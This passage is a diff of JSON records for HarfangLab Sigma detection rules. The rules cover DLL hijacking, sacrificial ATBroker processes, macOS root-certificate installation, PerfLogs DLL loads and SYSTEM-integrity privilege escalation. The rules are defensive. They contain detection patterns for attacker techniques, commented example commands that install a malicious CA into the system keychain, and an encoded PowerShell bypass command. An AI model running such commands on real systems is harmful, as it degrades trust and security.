Files\\obs-studio\\bin\\64bit\\'\n\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Hugh Bailey'\n\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "2169b294-00f6-4185-922a-6e8744093010",
+  "rule_name": "DLL Hijacking via obs-ffmpeg-mux.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via obs-ffmpeg-mux.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2025-01-08",
+  "rule_modified_date": "2026-02-10",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "218a81a4-f938-453b-aa3e-57226b82c69c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.074289Z",
+  "creation_date": "2026-03-23T11:45:34.074291Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.074295Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.todyl.com/blog/investigating-malicious-use-onenote-deploy-qbot",
+    "https://attack.mitre.org/techniques/T1055/"
+  ],
+  "name": "t1055_sacrificial_process_atbroker.yml",
+  "content": "title: ATBroker.exe Sacrificial Process Spawned\nid: 218a81a4-f938-453b-aa3e-57226b82c69c\ndescription: |\n    Detects the suspicious execution of the legitimate ATBroker.exe Windows binary, spawned without arguments and in an abnormal execution context.\n    This can be indicative that the binary is being used as a sacrificial or hollowed process.\n    Such processes are spawned and malicious code is immediately injected into them for nefarious purposes.\n    It is recommended to investigate the parent process performing this action to determine the legitimacy of this behavior.\nreferences:\n    - https://www.todyl.com/blog/investigating-malicious-use-onenote-deploy-qbot\n    - https://attack.mitre.org/techniques/T1055/\ndate: 2025/09/02\nmodified: 2025/09/02\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.privilege_escalation\n    - attack.t1055\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.SacrificialProcess\n    - classification.Windows.Behavior.DefenseEvasion\n    - classification.Windows.Behavior.ProcessTampering\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        Image|endswith: '\\ATBroker.exe'\n        CommandLine|endswith: '\\ATBroker.exe'\n        ParentImage|contains: '?'\n\n    filter_legitimate_parent:\n        ParentImage: '?:\\Windows\\System32\\winlogon.exe'\n\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "218a81a4-f938-453b-aa3e-57226b82c69c",
+  "rule_name": "ATBroker.exe Sacrificial Process Spawned",
+  "rule_description": "Detects the suspicious execution of the legitimate ATBroker.exe Windows binary, spawned without arguments and in an abnormal execution context.\nThis can be indicative that the binary is being used as a sacrificial or hollowed process.\nSuch processes are spawned and malicious code is immediately injected into them for nefarious purposes.\nIt is recommended to investigate the parent process performing this action to determine the legitimacy of this behavior.\n",
+  "rule_creation_date": "2025-09-02",
+  "rule_modified_date": "2025-09-02",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1055"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "21a54f04-8b55-4e87-95f8-60eaebb762b6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.617275Z",
+  "creation_date": "2026-03-23T11:45:34.617277Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.617281Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1553.004/T1553.004.md",
+    "https://attack.mitre.org/techniques/T1553/004/"
+  ],
+  "name": "t1553_004_install_root_ca.yml",
+  "content": "title: Root Certificate Authority Installed\nid: 21a54f04-8b55-4e87-95f8-60eaebb762b6\ndescription: |\n    Detects when a new root certificate authority is added to the macOS system keychain.\n    Attackers may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers.\n    Root certificates are used in public key cryptography to identify a root certificate authority (CA).\n    When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate.\n    Certificates are commonly used for establishing secure TLS/SSL communications within a web browser.\n    When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk.\n    Depending on the security settings, the browser may not allow the user to establish a connection to the website.\n    Installation of a root certificate on a compromised system would give an adversary a way to degrade the security of that system.\n    It is recommended to investigate the process that added the certificate and the certificate itself to determine if this action was legitimate.\nreferences:\n    - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1553.004/T1553.004.md\n    - https://attack.mitre.org/techniques/T1553/004/\ndate: 2022/08/29\nmodified: 2025/11/10\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1553.004\n    - classification.macOS.Source.ProcessCreation\n    - classification.macOS.LOLBin.Security\n    - classification.macOS.Behavior.DefenseEvasion\n    - classification.macOS.Behavior.SystemModification\nlogsource:\n    category: process_creation\n    product: macos\ndetection:\n    selection:\n        # security add-trusted-cert -d -k \"/Library/Keychains/System.keychain\" \"/Users/user/maliciousCA.crt\"\n        # security add-trusted-cert -d -r trustRoot -k \"/Library/Keychains/System.keychain\" \"/Users/user/maliciousCA.crt\"\n        # security add-trusted-cert -d -r trustAsRoot -k \"/Library/Keychains/System.keychain\" \"/Users/user/maliciousCA.crt\"\n        Image: '/usr/bin/security'\n        CommandLine|contains|all:\n            - 'add-trusted-cert'\n            - '-d'\n            - '-k'\n            - '/Library/Keychains/System.keychain'\n    exclusion_deny:\n        # security add-trusted-cert -d -r deny -k \"/Library/Keychains/System.keychain\" \"/Users/user/untrustedCA.crt\"\n        CommandLine|contains|all:\n            - '-r'\n            - 'deny'\n\n    exclusion_autofirma:\n        ProcessParentCommandLine|startswith: 'sudo -s security -i add-trusted-cert -d -r * -k /library/keychains/system.keychain /users/*/library/application support/autofirma/'\n\n    exclusion_cloudflarewarp:\n        ProcessParentImage: '/applications/cloudflare warp.app/contents/resources/cloudflarewarp'\n\n    exclusion_olfeo:\n        ProcessParentImage: '/usr/local/bin/trustlane_authentication_agent'\n\n    exclusion_homebrew:\n        ProcessGrandparentImage: '/opt/homebrew/Cellar/mkcert/*/bin/mkcert'\n\n    exclusion_make:\n        ProcessGrandparentImage:\n            - '/Applications/Xcode.app/Contents/Developer/usr/bin/make'\n            - '/Library/Developer/CommandLineTools/usr/bin/make'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "21a54f04-8b55-4e87-95f8-60eaebb762b6",
+  "rule_name": "Root Certificate Authority Installed",
+  "rule_description": "Detects when a new root certificate authority is added to the macOS system keychain.\nAttackers may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers.\nRoot certificates are used in public key cryptography to identify a root certificate authority (CA).\nWhen a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate.\nCertificates are commonly used for establishing secure TLS/SSL communications within a web browser.\nWhen a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk.\nDepending on the security settings, the browser may not allow the user to establish a connection to the website.\nInstallation of a root certificate on a compromised system would give an adversary a way to degrade the security of that system.\nIt is recommended to investigate the process that added the certificate and the certificate itself to determine if this action was legitimate.\n",
+  "rule_creation_date": "2022-08-29",
+  "rule_modified_date": "2025-11-10",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1553.004"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "21a87deb-69d2-4659-9a98-c8d3b13dae95",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.097581Z",
+  "creation_date": "2026-03-23T11:45:34.097583Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.097587Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://github.com/xforcered/WFH",
+    "https://wietze.github.io/blog/save-the-environment-variables",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_control.yml",
+  "content": "title: DLL Hijacking via CONTROL.exe\nid: 21a87deb-69d2-4659-9a98-c8d3b13dae95\ndescription: |\n    Detects potential Windows DLL Hijacking via CONTROL.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://github.com/xforcered/WFH\n    - https://wietze.github.io/blog/save-the-environment-variables\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'CONTROL.EXE'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\explorerframe.dll'\n            - '\\mswb7.dll'\n            - '\\propsys.dll'\n            - '\\shell32.dll'\n            - '\\structuredquery.dll'\n            - '\\windows.storage.dll'\n            - '\\windows.storage.search.dll'\n            - '\\edputil.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Program Files (x86)\\Google\\Chrome\\Application\\'\n            - '?:\\Program Files (x86)\\Microsoft Office\\root\\Office*\\'\n            - '?:\\Program Files (x86)\\Microsoft\\Edge\\Application\\'\n            - '?:\\Program Files (x86)\\Mozilla Firefox\\'\n            - '?:\\Program Files\\Google\\Chrome\\Application\\'\n            - '?:\\Program Files\\Microsoft Office\\root\\Office*\\'\n            - '?:\\Program Files\\Microsoft\\Edge\\Application\\'\n            - '?:\\Program Files\\Mozilla Firefox\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "21a87deb-69d2-4659-9a98-c8d3b13dae95",
+  "rule_name": "DLL Hijacking via CONTROL.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via CONTROL.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "21b2686f-5620-4cbb-b0ba-f7ccc728e1f6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.070008Z",
+  "creation_date": "2026-03-23T11:45:34.070010Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.070014Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://thedfirreport.com/2020/10/18/ryuk-in-5-hours/",
+    "https://attack.mitre.org/techniques/T1036/005/"
+  ],
+  "name": "t1036_005_dll_load_from_perflogs_folder.yml",
+  "content": "title: DLL Loaded from PerfLogs Folder\nid: 21b2686f-5620-4cbb-b0ba-f7ccc728e1f6\ndescription: |\n    Detects the suspicious loading of a DLL from the PerfLogs folder.\n    This folder is an uncommon directory for DLL loading and is often abused by attackers.\n    It is recommended to investigate the executed binary to determine its legitimacy.\nreferences:\n    - https://thedfirreport.com/2020/10/18/ryuk-in-5-hours/\n    - https://attack.mitre.org/techniques/T1036/005/\ndate: 2023/03/13\nmodified: 2025/01/28\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1036.005\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DefenseEvasion\n    - classification.Windows.Behavior.Masquerading\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ImageLoaded|startswith: '?:\\PerfLogs\\'\n    condition: selection\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "21b2686f-5620-4cbb-b0ba-f7ccc728e1f6",
+  "rule_name": "DLL Loaded from PerfLogs Folder",
+  "rule_description": "Detects the suspicious loading of a DLL from the PerfLogs folder.\nThis folder is an uncommon directory for DLL loading and is often abused by attackers.\nIt is recommended to investigate the executed binary to determine its legitimacy.\n",
+  "rule_creation_date": "2023-03-13",
+  "rule_modified_date": "2025-01-28",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1036.005"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "21c73ea5-e857-4d58-8795-052869485f7d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.098193Z",
+  "creation_date": "2026-03-23T11:45:34.098195Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.098200Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.fortinet.com/blog/threat-research/pivnoxy-and-chinoxy-puppeteer-analysis",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_lbtwizgi.yml",
+  "content": "title: DLL Hijacking via LBTWizGi.exe\nid: 21c73ea5-e857-4d58-8795-052869485f7d\ndescription: |\n    Detects potential Windows DLL Hijacking via LBTWizGi.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate Logitech executable alongside the malicious DLL.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.fortinet.com/blog/threat-research/pivnoxy-and-chinoxy-puppeteer-analysis\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/07\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'LBTWizGi.exe'\n        ProcessSignature: 'Logitech Inc'\n        ImageLoaded|endswith: '\\LBTServ.dll'\n\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Program Files\\Logitech\\setpointp\\'\n            - '?:\\Program Files (x86)\\Logitech\\setpointp\\'\n\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Program Files\\Common Files\\Logitech\\Bluetooth\\'\n            - '?:\\Program Files (x86)\\Common Files\\Logitech\\Bluetooth\\'\n            - '?:\\Program Files\\Common Files\\LogiShrd\\Bluetooth\\'\n            - '?:\\Program Files (x86)\\Common Files\\LogiShrd\\Bluetooth\\'\n\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Company|contains: 'Logitech'\n\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "21c73ea5-e857-4d58-8795-052869485f7d",
+  "rule_name": "DLL Hijacking via LBTWizGi.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via LBTWizGi.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate Logitech executable alongside the malicious DLL.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-07",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "21db6605-c463-47b7-8f9f-b912e8fc55e9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.598895Z",
+  "creation_date": "2026-03-23T11:45:34.598898Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.598905Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/itm4n/PrintSpoofer",
+    "https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/",
+    "https://speakerdeck.com/heirhabarov/hunting-for-privilege-escalation-in-windows-environment",
+    "https://attack.mitre.org/techniques/T1134/",
+    "https://attack.mitre.org/techniques/T1068/"
+  ],
+  "name": "t1134_suspicious_child_process_integrity_level.yml",
+  "content": "title: Suspicious Child Process Integrity Level\nid: 21db6605-c463-47b7-8f9f-b912e8fc55e9\ndescription: |\n    Detects a child process spawned with a SYSTEM integrity level by a parent with a lower one.\n    This can be the result of an exploitation to elevate privilege to System level.\n    For example, the PrintSpoofer exploitation, that abuses SeImpersonatePrivilege via Named Pipe Impersonation, can be used to achieve this type of privilege escalation.\n    It is recommended to analyze both the parent process and the process itself to look for malicious content and subsequent malicious actions.\nreferences:\n    - https://github.com/itm4n/PrintSpoofer\n    - https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/\n    - https://speakerdeck.com/heirhabarov/hunting-for-privilege-escalation-in-windows-environment\n    - https://attack.mitre.org/techniques/T1134/\n    - https://attack.mitre.org/techniques/T1068/\ndate: 2022/08/17\nmodified: 2025/10/09\nauthor: HarfangLab\ntags:\n    - attack.privilege_escalation\n    - attack.t1134\n    - attack.t1068\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.PrivilegeEscalation\n    - classification.Windows.Behavior.Exploitation\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        Image|endswith:\n            - '\\cmd.exe'\n            - '\\powershell.exe'\n        IntegrityLevel: 'System'\n\n    filter_parent_system:\n        ParentIntegrityLevel: 'System'\n\n    exclusion_unknown:\n        ParentIntegrityLevel:\n            - 'Unknown'\n            - ''\n\n    exclusion_ansible:\n        CommandLine|contains:\n            - 'powershell.exe -NonInteractive -NoProfile -ExecutionPolicy Bypass -EncodedCommand CgAgACAAIAAgACYAYwBoAGMAcAAuAGMAbwBtACAANgA1ADAAMAAxACAAPgAgACQAbgB1AGwAbAAKACAAIAAgACAAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgBzAG8AbABlAF0AOgA6AEkAbgAuAFIAZQBhAGQAVABvAEUAbgBkACgAKQAKACAAIAAgACAAJABzAHAAbABpAHQAXwBwAGEAcgB0AHMAIAA9ACAAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByAC4AUwBwAGwAaQB0ACgAQAAoACIAYAAwAGAAMABgADAAYAAwACIAKQAsACAAMgAsACAAWwBTAHQAcgBpAG4AZwBTAHAAbABpAHQATwBwAHQAaQBvAG4AcwBdADoAOgBSAGUAbQBvAHYAZQBFAG0AcAB0AHkARQBuAHQAcgBpAGUAcwApAAoAIAAgACAAIABTAGUAdAAtAFYAYQByAGkAYQBiAGwAZQAgAC0ATgBhAG0AZQAgAGoAcwBvAG4AXwByAGEAdwAgAC0AVgBhAGwAdQBlACAAJABzAHAAbABpAHQAXwBwAGEAcgB0AHMAWwAxAF0ACgAgACAAIAAgACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAIAAgACAAIAAmACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIACgA='\n            - ' $msg = \"ANSIBLE_BOOTSTRAP_ERROR: $(ConvertTo-Json $result -Compress)\" Write-Host $msg exit -1 } }'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "21db6605-c463-47b7-8f9f-b912e8fc55e9",
+  "rule_name": "Suspicious Child Process Integrity Level",
+  "rule_description": "Detects a child process spawned with a SYSTEM integrity level by a parent with a lower one.\nThis can be the result of an exploitation to elevate privilege to System level.\nFor example, the PrintSpoofer exploitation, that abuses SeImpersonatePrivilege via Named Pipe Impersonation, can be used to achieve this type of privilege escalation.\nIt is recommended to analyze both the parent process and the process itself to look for malicious content and subsequent malicious actions.\n",
+  "rule_creation_date": "2022-08-17",
+  "rule_modified_date": "2025-10-09",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1068",
+    "attack.t1134"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "21e24d1c-fc56-4c13-937d-8036bd091278",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.597706Z",
+  "creation_date": "2026-03-23T11:45:34.597711Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.597722Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
